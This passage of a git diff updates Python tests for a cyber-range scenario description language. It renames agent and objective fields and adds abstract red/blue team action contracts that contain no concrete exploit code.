6c78c3763..c7d7311e5 100644 --- a/implementations/python/tests/test_sdl_catalog_parity.py +++ b/implementations/python/tests/test_sdl_catalog_parity.py @@ -72,7 +72,7 @@ def test_top_level_catalog_drift_is_flagged(tmp_path: Path, old: str, new: str, def test_checked_summary_drift_is_flagged(tmp_path: Path) -> None: repo = _seed_repo(tmp_path) - _replace(repo, "specs/sdl/sections.md", "sections=37", "sections=36") + _replace(repo, "specs/sdl/sections.md", "sections=38", "sections=37") assert "sdl-catalog-summary" in _rule_ids(repo) @@ -288,7 +288,7 @@ def test_catalog_parser_rejects_oversized_input() -> None: def test_cli_reports_json_failure(tmp_path: Path, capsys: pytest.CaptureFixture[str]) -> None: repo = _seed_repo(tmp_path) - _replace(repo, "specs/sdl/sections.md", "sections=37", "sections=36") + _replace(repo, "specs/sdl/sections.md", "sections=38", "sections=37") assert main(["--repo-root", str(repo), "--json"]) == 1 assert '"rule_id": "sdl-catalog-summary"' in capsys.readouterr().out diff --git a/implementations/python/tests/test_sdl_identifiers.py b/implementations/python/tests/test_sdl_identifiers.py index f0bc028e2..3d3c6104e 100644 --- a/implementations/python/tests/test_sdl_identifiers.py +++ b/implementations/python/tests/test_sdl_identifiers.py @@ -893,3 +893,26 @@ def test_provider_name_is_bounded_and_collision_resistant_for_full_address() -> ) assert len(first) <= 63 assert first.startswith("raes-") + + +def test_provider_name_namespace_isolates_concurrent_runs_without_losing_the_address() -> None: + address = "provision.node.web" + plain = provider_resource_name(address, prefix="raes") + first_run = provider_resource_name(address, prefix="raes", namespace="raes-ref-it-0a1b2c3d4e5f") + second_run = provider_resource_name(address, prefix="raes", namespace="raes-ref-it-5f4e3d2c1b0a") + + # Two concurrent runs realizing the same address must not contend for one + # native resource name, and neither may collide with the un-namespaced name. + assert len({plain, first_run, second_run}) == 3 + assert all(name.startswith("raes-provision.node.web-") for name in (plain, first_run, second_run)) + assert all(len(name) <= 63 for name in (first_run, second_run)) + # The namespace commits through the digest, so a run's names stay stable. + assert first_run == provider_resource_name(address, prefix="raes", namespace="raes-ref-it-0a1b2c3d4e5f") + + +def test_provider_name_default_namespace_preserves_existing_names() -> None: + address = "provision.network.lan" + + assert provider_resource_name(address, prefix="raes", namespace="") == provider_resource_name( + address, prefix="raes" + ) diff --git a/implementations/python/tests/test_sdl_lineage.py b/implementations/python/tests/test_sdl_lineage.py index c5bb7d9da..a960c5f37 100644 --- a/implementations/python/tests/test_sdl_lineage.py +++ b/implementations/python/tests/test_sdl_lineage.py @@ -57,7 +57,7 @@ def test_real_lineage_ledger_is_valid_and_covers_exact_current_subject_set() -> ledger = SDLLineageLedgerModel.model_validate(_payload()) current = {subject.subject_id for subject in ledger.subjects if subject.disposition.value == "current"} assert current == _canonical_subjects(REPO_ROOT) - assert len(current) == 90 + assert len(current) == 91 assert {subject.subject_id for subject in ledger.subjects if subject.disposition.value == "removed"} == { "sdl-field:evaluations", "sdl-field:goals", diff --git a/implementations/python/tests/test_sdl_models.py b/implementations/python/tests/test_sdl_models.py index 0df0087df..9d3859081 100644 --- a/implementations/python/tests/test_sdl_models.py +++ b/implementations/python/tests/test_sdl_models.py @@ -2293,22 +2293,19 @@ def test_mode_placeholder(self): class TestObjective: - def test_requires_exactly_one_actor_binding(self): - with pytest.raises(ValidationError, match="exactly one"): + def test_requires_ownership_or_assignment(self): + with pytest.raises(ValidationError, match="requires 'owner' or 'assigned_participant'"): Objective( success={"assertions": ["c1"]}, ) - with pytest.raises(ValidationError, match="exactly one"): - Objective( - agent="red-agent", - entity="red-team", - success={"assertions": ["c1"]}, - ) + objective = Objective(assigned_participant="red-agent", owner="red-team", success={"assertions": ["c1"]}) + assert objective.owner == "red-team" + assert objective.assigned_participant == "red-agent" def test_valid_agent_objective(self): objective = Objective( - agent="red-agent", + assigned_participant="red-agent", actions=["Scan"], targets=["web-server"], success={"assertions": ["initial-access"]}, @@ -2320,17 +2317,17 @@ def test_valid_agent_objective(self): }, depends_on=["recon"], ) - assert objective.agent == "red-agent" + assert objective.assigned_participant == "red-agent" assert objective.success.assertions == ["initial-access"] assert isinstance(objective.window, ObjectiveWindow) assert objective.window.steps == ["response-flow.validate"] def test_valid_entity_objective(self): objective = Objective( - entity="blue-team", + owner="blue-team", success={"assertions": ["report-quality"]}, ) - assert objective.entity == "blue-team" + assert objective.owner == "blue-team" # --------------------------------------------------------------------------- @@ -2887,12 +2884,12 @@ def test_federates_with(self): class TestAgent: def test_basic_agent(self): - a = Agent(entity="red-team", actions=["Scan", "Exploit"]) + a = Agent(affiliations=["red-team"], actions=["Scan", "Exploit"]) assert len(a.actions) == 2 def test_agent_with_starting_accounts(self): a = Agent( - entity="red-team", + affiliations=["red-team"], starting_accounts=["phished-user"], allowed_subnets=["user-net"], ) @@ -2900,7 +2897,7 @@ def test_agent_with_starting_accounts(self): def test_agent_with_initial_knowledge(self): a = Agent( - entity="blue-team", + affiliations=["blue-team"], initial_knowledge=InitialKnowledge( hosts=["defender", "server1"], subnets=["enterprise-net"], @@ -2915,37 +2912,38 @@ def test_initial_knowledge_defaults(self): assert ik.services == [] assert ik.accounts == [] - def test_requires_entity(self): - with pytest.raises(ValidationError, match="Agent requires 'entity'"): - Agent(actions=["Scan"]) + def test_affiliation_is_optional(self): + participant = Agent(actions=["Scan"]) + assert participant.affiliations == [] + assert participant.role is None def test_default_framing_lists_are_empty(self): - a = Agent(entity="red-team") + a = Agent(affiliations=["red-team"]) assert a.starting_assertions == [] assert a.authority_anchors == [] assert a.operating_scope == [] def test_starting_assertions_field(self): - a = Agent(entity="red-team", starting_assertions=["beacon-online", "vpn-up"]) + a = Agent(affiliations=["red-team"], starting_assertions=["beacon-online", "vpn-up"]) assert a.starting_assertions == ["beacon-online", "vpn-up"] def test_authority_anchors_field(self): a = Agent( - entity="red-team", + affiliations=["red-team"], authority_anchors=["red-team", "trusts-blue-domain"], ) assert a.authority_anchors == ["red-team", "trusts-blue-domain"] def test_operating_scope_field(self): a = Agent( - entity="red-team", + affiliations=["red-team"], operating_scope=["corp-net", "dmz-net"], ) assert a.operating_scope == ["corp-net", "dmz-net"] def test_framing_fields_accept_variable_placeholders(self): a = Agent( - entity="red-team", + affiliations=["red-team"], starting_assertions=["${beacon_condition}"], authority_anchors=["${authority_ref}"], operating_scope=["${scope_ref}"], @@ -2956,7 +2954,7 @@ def test_framing_fields_accept_variable_placeholders(self): def test_unknown_field_rejected(self): with pytest.raises(ValidationError, match="Extra inputs are not permitted"): - Agent(entity="red-team", unknown_field=["x"]) + Agent(affiliations=["red-team"], unknown_field=["x"]) class TestVariable: @@ -3123,9 +3121,9 @@ def test_route_methods_must_not_be_empty(self): with pytest.raises(ValidationError, match="route methods must not be empty"): RuntimeApplicationRoute(route_id="r1", path="/login", methods=[]) - def test_route_method_must_be_known(self): - with pytest.raises(ValidationError, match="must be one of"): - RuntimeApplicationRoute(route_id="r1", path="/login", methods=["FETCH"]) + def test_route_method_must_be_an_http_token(self): + with pytest.raises(ValidationError, match="HTTP method"): + RuntimeApplicationRoute(route_id="r1", path="/login", methods=["FETCH/ITEM"]) def test_route_id_rejects_variable_placeholder(self): with pytest.raises(ValidationError, match="portable SDL identifier"): diff --git a/implementations/python/tests/test_sdl_module_registry.py b/implementations/python/tests/test_sdl_module_registry.py index 67a312bf4..4e41c8172 100644 --- a/implementations/python/tests/test_sdl_module_registry.py +++ b/implementations/python/tests/test_sdl_module_registry.py @@ -280,7 +280,7 @@ def test_module_exports_are_enforced_for_importers(tmp_path: Path): blue: {role: blue} objectives: check: - entity: blue + owner: blue success: assertions: [shared.health] """, diff --git a/implementations/python/tests/test_sdl_parser.py b/implementations/python/tests/test_sdl_parser.py index 74b9382ba..745caace1 100644 --- a/implementations/python/tests/test_sdl_parser.py +++ b/implementations/python/tests/test_sdl_parser.py @@ -136,7 +136,7 @@ def test_non_string_top_level_keys_are_rejected_cleanly(self): name: test objectives: ${objective_name}: - agent: red-agent + assigned_participant: red-agent success: assertions: [initial-access] """, @@ -175,7 +175,7 @@ def test_objectives_section_parses(self): role: Red agents: red-agent: - entity: red-team + affiliations: [red-team] actions: [Scan, Exploit] conditions: initial-access: @@ -183,14 +183,14 @@ def test_objectives_section_parses(self): interval: 30 objectives: initial-access: - agent: red-agent + assigned_participant: red-agent actions: [Scan] targets: [red-agent] success: assertions: [initial-access] """ s = parse_sdl(sdl, skip_semantic_validation=True) - assert s.objectives["initial-access"].agent == "red-agent" + assert s.objectives["initial-access"].assigned_participant == "red-agent" assert s.objectives["initial-access"].success.assertions == ["initial-access"] assert s.advisories == [] @@ -214,7 +214,7 @@ def test_workflows_section_parses(self): release-ready: {proposition: release-ready, role: postcondition, polarity: positive} objectives: validate-release: - entity: blue-team + owner: blue-team success: assertions: [release-ready] workflows: @@ -931,7 +931,7 @@ def test_leaf_enum_placeholders_parse(self): release-ready: {proposition: release-ready, role: postcondition, polarity: positive} objectives: review: - entity: blue-team + owner: blue-team success: mode: ${success_mode} assertions: [release-ready] @@ -1072,9 +1072,10 @@ def test_discriminant_enums_reject_placeholders(self, field_name): name: test agents: red-agent: + entity: legacy-team actions: [Scan] """, - "Agent requires 'entity'", + "agent.entity was replaced by affiliations", ), ], ) @@ -1112,9 +1113,7 @@ class TestSkipSemanticValidation: def test_structural_only(self): """skip_semantic_validation=True skips cross-reference checks.""" s = parse_sdl( - "name: test\nentities:\n blue:\n role: blue\n" - "objectives:\n obj:\n entity: blue\n success:\n" - " assertions:\n - missing-assertion", + "name: test\nentities:\n blue:\n role: blue\nobjectives:\n obj:\n owner: blue\n success:\n assertions:\n - missing-assertion", skip_semantic_validation=True, ) assert "obj" in s.objectives @@ -1175,7 +1174,7 @@ def test_parse_sdl_file_expands_namespaced_imports(self, tmp_path: Path): role: blue objectives: validate: - entity: blue + owner: blue success: assertions: [health] workflows: @@ -1287,7 +1286,7 @@ def test_parse_sdl_file_namespaces_named_qualified_refs(self, tmp_path: Path): target: nodes.vm agents: blue-agent: - entity: blue + affiliations: [blue] starting_assertions: [health] authority_anchors: [entities.blue, content.docs.items.playbook] allowed_subnets: [net] @@ -1387,7 +1386,7 @@ def test_parse_sdl_file_namespaces_agent_participant_framing_fields(self, tmp_pa target: vm agents: blue-agent: - entity: blue + affiliations: [blue] starting_assertions: [health] authority_anchors: [blue, blue-controls-vm] allowed_subnets: [net] @@ -2317,7 +2316,7 @@ def test_agent_reward_calculator_rejected(self): role: red agents: red-agent: - entity: red-team + affiliations: [red-team] reward_calculator: some-calc """ with pytest.raises(SDLParseError): @@ -2343,7 +2342,7 @@ def test_objective_success_removed_fields_rejected(self, field): role: blue objectives: obj: - entity: blue-team + owner: blue-team success: {field}: [x1] """ @@ -2370,7 +2369,7 @@ def test_objective_success_accepts_assertions_only(self): release-ready: {proposition: release-ready, role: postcondition, polarity: positive} objectives: obj: - entity: blue-team + owner: blue-team success: assertions: [release-ready] """ diff --git a/implementations/python/tests/test_sdl_realworld.py b/implementations/python/tests/test_sdl_realworld.py index 51c73601c..77f65e9ef 100644 --- a/implementations/python/tests/test_sdl_realworld.py +++ b/implementations/python/tests/test_sdl_realworld.py @@ -824,7 +824,7 @@ def _parse(yaml_str: str, label: str): objectives: crimsonia-disrupt-scada: - entity: crimsonia-red + owner: crimsonia-red targets: [hmi-controls-power, hmi-controls-water, hmi-server] success: assertions: [scada-hmi-disrupted] @@ -834,7 +834,7 @@ def _parse(yaml_str: str, label: str): events: [disruption-wave] berylia-maintain-operations: - entity: berylia-blue.ot-team + owner: berylia-blue.ot-team targets: [hmi-server, plc-power, plc-water] success: assertions: [scada-hmi-responsive] diff --git a/implementations/python/tests/test_sdl_stress.py b/implementations/python/tests/test_sdl_stress.py index 221ef1797..a84df734d 100644 --- a/implementations/python/tests/test_sdl_stress.py +++ b/implementations/python/tests/test_sdl_stress.py @@ -1122,10 +1122,38 @@ def _parse(yaml_str: str, label: str): analyst: {name: SOC Analyst} green-team: {name: Normal Users, role: Green} +action_contracts: + discover-remote-systems: &cage-action + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: abstract CAGE action intent + realization_profile: abstract + fidelity_claim: intent only, no concrete exploitation or observation realization + preconditions: + - {precondition_id: authorized, precondition_class: authority, description: independently authorized action} + effects: + - {effect_id: intent, effect_class: intended_effect, description: declared action intent, target_refs: [nodes.enterprise0]} + failure_classes: [authority_denied, unknown] + discover-network-services: *cage-action + exploit-remote-service: *cage-action + eternal-blue: *cage-action + ssh-brute-force: *cage-action + privilege-escalate: *cage-action + impact: *cage-action + monitor: *cage-action + analyse: *cage-action + remove: *cage-action + restore: *cage-action + decoy-apache: *cage-action + decoy-sshd: *cage-action + normal-browsing: *cage-action + email-check: *cage-action + file-access: *cage-action + agents: red-agent: - entity: red-team - actions: [DiscoverRemoteSystems, DiscoverNetworkServices, ExploitRemoteService, EternalBlue, SSHBruteForce, PrivilegeEscalate, Impact] + affiliations: [red-team] + actions: [discover-remote-systems, discover-network-services, exploit-remote-service, eternal-blue, ssh-brute-force, privilege-escalate, impact] starting_accounts: [phished-user] initial_knowledge: hosts: [user0] @@ -1133,8 +1161,8 @@ def _parse(yaml_str: str, label: str): allowed_subnets: [user-net, enterprise-net] blue-agent: - entity: blue-team.analyst - actions: [Monitor, Analyse, Remove, Restore, DecoyApache, DecoySSHD] + affiliations: [blue-team.analyst] + actions: [monitor, analyse, remove, restore, decoy-apache, decoy-sshd] starting_accounts: [soc-admin] initial_knowledge: hosts: [defender, enterprise0, enterprise1, user0, user1] @@ -1142,8 +1170,8 @@ def _parse(yaml_str: str, label: str): allowed_subnets: [user-net, enterprise-net, op-net] green-agent: - entity: green-team - actions: [NormalBrowsing, EmailCheck, FileAccess] + affiliations: [green-team] + actions: [normal-browsing, email-check, file-access] starting_accounts: [green-user] allowed_subnets: [user-net] description: "Simulates normal user behavior" @@ -1174,8 +1202,8 @@ def _parse(yaml_str: str, label: str): objectives: red-establish-foothold: - agent: red-agent - actions: [DiscoverRemoteSystems, ExploitRemoteService, EternalBlue] + assigned_participant: red-agent + actions: [discover-remote-systems, exploit-remote-service, eternal-blue] targets: [enterprise0] success: assertions: [enterprise0-compromised] @@ -1185,8 +1213,8 @@ def _parse(yaml_str: str, label: str): events: [phishing-wave] blue-detect-and-report: - agent: blue-agent - actions: [Monitor, Analyse] + assigned_participant: blue-agent + actions: [monitor, analyse] targets: [enterprise0, velociraptor] success: assertions: [enterprise0-detected] @@ -1413,7 +1441,7 @@ def _parse(yaml_str: str, label: str): objectives: preserve-federated-auth: - entity: blue-team + owner: blue-team targets: [adfs-service, child-trusts-parent] success: assertions: [federation-service-up] diff --git a/implementations/python/tests/test_sdl_validator.py b/implementations/python/tests/test_sdl_validator.py index 6726c0fd6..6f371a80c 100644 --- a/implementations/python/tests/test_sdl_validator.py +++ b/implementations/python/tests/test_sdl_validator.py @@ -710,7 +710,7 @@ class TestVerifyAgents: def test_undefined_entity(self): s = _make_scenario( nodes={"vm": {"type": "compute", "resources": {"ram": "1 gib", "cpu": 1}}}, - agents={"a1": {"entity": "ghost-team", "actions": ["scan"]}}, + agents={"a1": {"affiliations": ["ghost-team"], "actions": ["scan"]}}, ) errors = _validate(s) assert any("undefined entity" in e for e in errors) @@ -719,7 +719,7 @@ def test_undefined_starting_account(self): s = _make_scenario( nodes={"vm": {"type": "compute", "resources": {"ram": "1 gib", "cpu": 1}}}, entities={"red": {"role": "red"}}, - agents={"a1": {"entity": "red", "starting_accounts": ["ghost-acct"]}}, + agents={"a1": {"affiliations": ["red"], "starting_accounts": ["ghost-acct"]}}, ) errors = _validate(s) assert any("not in accounts" in e for e in errors) @@ -728,7 +728,7 @@ def test_undefined_allowed_subnet(self): s = _make_scenario( nodes={"vm": {"type": "compute", "resources": {"ram": "1 gib", "cpu": 1}}}, entities={"red": {"role": "red"}}, - agents={"a1": {"entity": "red", "allowed_subnets": ["ghost-net"]}}, + agents={"a1": {"affiliations": ["red"], "allowed_subnets": ["ghost-net"]}}, ) errors = _validate(s) assert any("not in infrastructure" in e for e in errors) @@ -739,7 +739,7 @@ def test_undefined_initial_knowledge_host(self): entities={"red": {"role": "red"}}, agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "initial_knowledge": {"hosts": ["ghost-host"]}, } }, @@ -759,7 +759,7 @@ def test_undefined_initial_knowledge_service(self): entities={"red": {"role": "red"}}, agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "initial_knowledge": {"services": ["ghost-service"]}, } }, @@ -774,7 +774,7 @@ def test_undefined_initial_knowledge_account(self): accounts={"known-user": {"username": "user", "node": "vm"}}, agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "initial_knowledge": {"accounts": ["ghost-account"]}, } }, @@ -796,7 +796,7 @@ def test_allowed_subnet_must_reference_switch_entry(self): "vm": {"count": 1, "links": ["net"]}, }, entities={"red": {"role": "red"}}, - agents={"a1": {"entity": "red", "allowed_subnets": ["vm"]}}, + agents={"a1": {"affiliations": ["red"], "allowed_subnets": ["vm"]}}, ) errors = _validate(s) assert any("allowed_subnet 'vm' must reference a switch/network entry" in e for e in errors) @@ -815,7 +815,7 @@ def test_initial_knowledge_subnet_must_reference_switch_entry(self): "vm": {"count": 1, "links": ["net"]}, }, entities={"red": {"role": "red"}}, - agents={"a1": {"entity": "red", "initial_knowledge": {"subnets": ["vm"]}}}, + agents={"a1": {"affiliations": ["red"], "initial_knowledge": {"subnets": ["vm"]}}}, ) errors = _validate(s) assert any("initial_knowledge subnet 'vm' must reference a switch/network entry" in e for e in errors) @@ -830,7 +830,7 @@ def test_initial_knowledge_host_must_reference_vm(self): } }, entities={"red": {"role": "red"}}, - agents={"a1": {"entity": "red", "initial_knowledge": {"hosts": ["net"]}}}, + agents={"a1": {"affiliations": ["red"], "initial_knowledge": {"hosts": ["net"]}}}, ) errors = _validate(s) assert any("initial_knowledge host 'net' must reference a compute node" in e for e in errors) @@ -850,7 +850,7 @@ def test_valid_agent(self): accounts={"hacker": {"username": "h4x", "node": "vm"}}, agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "actions": ["scan", "exploit"], "starting_accounts": ["hacker"], "allowed_subnets": ["net"], @@ -873,7 +873,7 @@ class TestAgentParticipantFraming: Verifies semantic validation for the three framing fields that don't already exist on Agent: ``starting_assertions``, ``authority_anchors``, ``operating_scope``. Identity and role are already covered by the - pre-existing ``Agent.entity`` and ``Entity.role`` bindings; the + participant declaration, affiliation, and effective-role bindings; the ``TestVerifyAgents`` cases above cover those. """ @@ -929,7 +929,7 @@ def test_undefined_starting_assertion(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "starting_assertions": ["ghost-condition"], }, }, @@ -942,7 +942,7 @@ def test_defined_starting_assertion(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "starting_assertions": ["beacon-online"], }, }, @@ -957,7 +957,7 @@ def test_starting_assertion_accepts_variable_placeholder(self): **kwargs, agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "starting_assertions": ["${beacon_ref}"], }, }, @@ -970,7 +970,7 @@ def test_starting_assertion_rejects_section_qualified_ref(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "starting_assertions": ["assertions.beacon-online"], }, }, @@ -983,7 +983,7 @@ def test_qualified_starting_assertion_undefined_is_rejected(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "starting_assertions": ["assertions.ghost"], }, }, @@ -996,7 +996,7 @@ def test_undefined_authority_anchor(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "authority_anchors": ["ghost-anchor"], }, }, @@ -1011,7 +1011,7 @@ def test_defined_authority_anchor_entity(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "authority_anchors": ["red"], }, }, @@ -1024,7 +1024,7 @@ def test_defined_authority_anchor_relationship(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "authority_anchors": ["red-controls-vm"], }, }, @@ -1039,7 +1039,7 @@ def test_authority_anchor_accepts_variable_placeholder(self): **kwargs, agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "authority_anchors": ["${authority_ref}"], }, }, @@ -1052,7 +1052,7 @@ def test_undefined_operating_scope(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "operating_scope": ["ghost-scope"], }, }, @@ -1067,7 +1067,7 @@ def test_defined_operating_scope(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "operating_scope": ["net"], }, }, @@ -1082,7 +1082,7 @@ def test_operating_scope_rejects_non_targetable(self): **kwargs, agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "operating_scope": ["flag"], }, }, @@ -1099,7 +1099,7 @@ def test_operating_scope_accepts_variable_placeholder(self): **kwargs, agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "operating_scope": ["${scope_ref}"], }, }, @@ -1113,7 +1113,7 @@ def test_full_participant_framing_agent_validates(self): accounts={"phished": {"username": "u", "node": "vm"}}, agents={ "red-agent": { - "entity": "red", + "affiliations": ["red"], "starting_accounts": ["phished"], "starting_assertions": ["beacon-online"], "authority_anchors": ["red", "red-controls-vm"], @@ -1132,7 +1132,7 @@ def test_operating_scope_accepts_service_ref(self): **kwargs, agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "operating_scope": ["ssh"], }, }, @@ -1153,7 +1153,7 @@ def test_operating_scope_accepts_content_section(self): **kwargs, agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "operating_scope": ["docs", "playbook"], }, }, @@ -1166,7 +1166,7 @@ def test_operating_scope_rejects_condition(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "operating_scope": ["beacon-online"], }, }, @@ -1181,7 +1181,7 @@ def test_operating_scope_rejects_relationship(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "operating_scope": ["red-controls-vm"], }, }, @@ -1198,7 +1198,7 @@ def test_operating_scope_rejects_account(self): accounts={"phished": {"username": "u", "node": "vm"}}, agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "operating_scope": ["phished"], }, }, @@ -1216,7 +1216,7 @@ def test_operating_scope_rejects_switch_as_host(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "operating_scope": ["nodes.net"], }, }, @@ -1234,7 +1234,7 @@ def test_operating_scope_rejects_vm_as_subnet(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "operating_scope": ["infrastructure.vm"], }, }, @@ -1249,7 +1249,7 @@ def test_operating_scope_accepts_qualified_host_and_subnet_refs(self): **self._base_scenario_kwargs(), agents={ "a1": { - "entity": "red", + "affiliations": ["red"], "operating_scope": ["nodes.vm", "infrastructure.net"], }, }, @@ -1278,7 +1278,7 @@ def _base_kwargs(self) -> dict: }, "agents": { "red-agent": { - "entity": "red", + "affiliations": ["red"], "actions": ["Scan", "Exploit"], }, }, @@ -1323,7 +1323,7 @@ def test_undefined_agent(self): **self._base_kwargs(), objectives={ "obj-1": { - "agent": "ghost-agent", + "assigned_participant": "ghost-agent", "success": {"assertions": ["exercise-passed"]}, }, }, @@ -1336,7 +1336,7 @@ def test_undefined_entity(self): **self._base_kwargs(), objectives={ "obj-1": { - "entity": "ghost-team", + "owner": "ghost-team", "success": {"assertions": ["exercise-passed"]}, }, }, @@ -1349,7 +1349,7 @@ def test_actions_must_be_declared_by_agent(self): **self._base_kwargs(), objectives={ "obj-1": { - "agent": "red-agent", + "assigned_participant": "red-agent", "actions": ["Persist"], "success": {"assertions": ["exercise-passed"]}, }, @@ -1363,7 +1363,7 @@ def test_target_must_resolve(self): **self._base_kwargs(), objectives={ "obj-1": { - "agent": "red-agent", + "assigned_participant": "red-agent", "targets": ["ghost-target"], "success": {"assertions": ["exercise-passed"]}, }, @@ -1379,7 +1379,7 @@ def test_target_rejects_ambiguous_bare_ref(self): **kwargs, objectives={ "obj-1": { - "agent": "red-agent", + "assigned_participant": "red-agent", "targets": ["web"], "success": {"assertions": ["exercise-passed"]}, }, @@ -1395,7 +1395,7 @@ def test_targets_accept_section_qualified_refs(self): **kwargs, objectives={ "obj-1": { - "agent": "red-agent", + "assigned_participant": "red-agent", "targets": ["nodes.web", "infrastructure.net"], "success": {"assertions": ["exercise-passed"]}, }, @@ -1421,7 +1421,7 @@ def test_targets_can_reference_named_services_and_acls(self): **kwargs, objectives={ "obj-1": { - "agent": "red-agent", + "assigned_participant": "red-agent", "targets": [ "nodes.web.services.web-https", "infrastructure.net.acls.allow-admin", @@ -1445,7 +1445,7 @@ def test_success_references_must_exist(self): **self._base_kwargs(), objectives={ "obj-1": { - "agent": "red-agent", + "assigned_participant": "red-agent", "success": {"assertions": ["ghost-condition"]}, }, }, @@ -1460,7 +1460,7 @@ def test_window_event_must_belong_to_script(self): **kwargs, objectives={ "obj-1": { - "agent": "red-agent", + "assigned_participant": "red-agent", "success": {"assertions": ["exercise-passed"]}, "window": { "scripts": ["main-timeline"], @@ -1477,12 +1477,12 @@ def test_dependency_cycle_rejected(self): **self._base_kwargs(), objectives={ "obj-1": { - "agent": "red-agent", + "assigned_participant": "red-agent", "success": {"assertions": ["exercise-passed"]}, "depends_on": ["obj-2"], }, "obj-2": { - "entity": "blue", + "owner": "blue", "success": {"assertions": ["exercise-passed"]}, "depends_on": ["obj-1"], }, @@ -1496,7 +1496,7 @@ def test_depends_on_must_reference_defined_objective(self): **self._base_kwargs(), objectives={ "obj-1": { - "agent": "red-agent", + "assigned_participant": "red-agent", "success": {"assertions": ["exercise-passed"]}, "depends_on": ["ghost-objective"], }, @@ -1510,7 +1510,7 @@ def test_window_steps_require_workflows(self): **self._base_kwargs(), objectives={ "obj-1": { - "agent": "red-agent", + "assigned_participant": "red-agent", "success": {"assertions": ["exercise-passed"]}, "window": {"steps": ["response.validate"]}, }, @@ -1524,7 +1524,7 @@ def test_window_steps_must_belong_to_workflow(self): **self._base_kwargs(), objectives={ "obj-1": { - "agent": "red-agent", + "assigned_participant": "red-agent", "success": {"assertions": ["exercise-passed"]}, "window": { "workflows": ["response"], @@ -1561,12 +1561,17 @@ def test_window_steps_must_belong_to_workflow(self): assert any("is not part of the referenced workflows" in e for e in errors) def test_valid_objective(self): + from test_issue_1338_participant_identity import _action + + base = self._base_kwargs() + base["agents"]["red-agent"]["actions"] = ["scan", "exploit"] s = _make_scenario( - **self._base_kwargs(), + **base, + action_contracts={"scan": _action(), "exploit": _action()}, objectives={ "recon": { - "agent": "red-agent", - "actions": ["Scan"], + "assigned_participant": "red-agent", + "actions": ["scan"], "targets": ["web"], "success": {"assertions": ["exercise-passed"]}, "window": { @@ -1576,7 +1581,7 @@ def test_valid_objective(self): }, }, "report": { - "entity": "blue", + "owner": "blue", "success": {"assertions": ["exercise-passed"]}, "depends_on": ["recon"], }, @@ -1616,11 +1621,11 @@ def _base_kwargs(self) -> dict: }, "objectives": { "validate-release": { - "entity": "blue", + "owner": "blue", "success": {"assertions": ["exercise-passed"]}, }, "rollback-edge": { - "entity": "blue", + "owner": "blue", "success": {"assertions": ["exercise-passed"]}, }, }, @@ -2648,7 +2653,7 @@ def test_defined_variables_allow_placeholders_across_models(self): }, agents={ "a1": { - "entity": "${entity_name}", + "affiliations": ["${entity_name}"], "starting_accounts": ["${account_name}"], "allowed_subnets": ["${subnet_name}"], "initial_knowledge": { @@ -2661,7 +2666,7 @@ def test_defined_variables_allow_placeholders_across_models(self): }, objectives={ "obj": { - "agent": "a1", + "assigned_participant": "a1", "targets": ["${objective_target}"], "success": {"assertions": ["check"]}, } diff --git a/implementations/python/tests/test_sdl_variation_points.py b/implementations/python/tests/test_sdl_variation_points.py index b62eb3f6f..3ac62ee53 100644 --- a/implementations/python/tests/test_sdl_variation_points.py +++ b/implementations/python/tests/test_sdl_variation_points.py @@ -302,7 +302,7 @@ def test_each_collection_member_must_pass_the_owning_slot_semantics() -> None: payload["assertions"] = {"blue-present": {"proposition": "blue-present", "role": "postcondition"}} payload["objectives"] = { "self-dependent": { - "entity": "blue", + "owner": "blue", "success": {"assertions": ["blue-present"]}, } } diff --git a/implementations/python/tests/test_sem_208_participant_behavior.py b/implementations/python/tests/test_sem_208_participant_behavior.py index eb85f5a63..d35e91485 100644 --- a/implementations/python/tests/test_sem_208_participant_behavior.py +++ b/implementations/python/tests/test_sem_208_participant_behavior.py @@ -222,7 +222,7 @@ def _scenario_yaml(*, actions: str = "[scan]", boundaries: str = "[red-view]") - latency_profile: terminal observation latency agents: red-agent: - entity: red-team + affiliations: [red-team] actions: {actions} observation_boundaries: {boundaries} """ @@ -354,7 +354,7 @@ def _act607_authority_scope_scenario_yaml() -> str: latency_profile: immediate agents: red-agent: - entity: red-team + affiliations: [red-team] actions: [scan] starting_accounts: [operator] initial_knowledge: @@ -441,7 +441,7 @@ def _act607_typed_ref_collision_scenario_yaml() -> str: source: file:///tmp/http.txt agents: red-agent: - entity: red-team + affiliations: [red-team] starting_accounts: [operator] initial_knowledge: hosts: [web] @@ -849,7 +849,7 @@ def test_sem219_role_scoped_affordance_enforces_each_matching_participant( ( " observation_boundaries: [red-view]\n" " red-observer:\n" - " entity: red-team\n" + " affiliations: [red-team]\n" f" actions: {actions}\n" f" observation_boundaries: {boundaries}\n\n" "behavior_specifications:\n" @@ -1094,7 +1094,7 @@ def test_behavior_specification_refs_are_namespaced_during_module_composition(tm role: red agents: red-agent: - entity: red-team + affiliations: [red-team] actions: [scan] observation_boundaries: [red-view] content: @@ -1518,7 +1518,7 @@ def 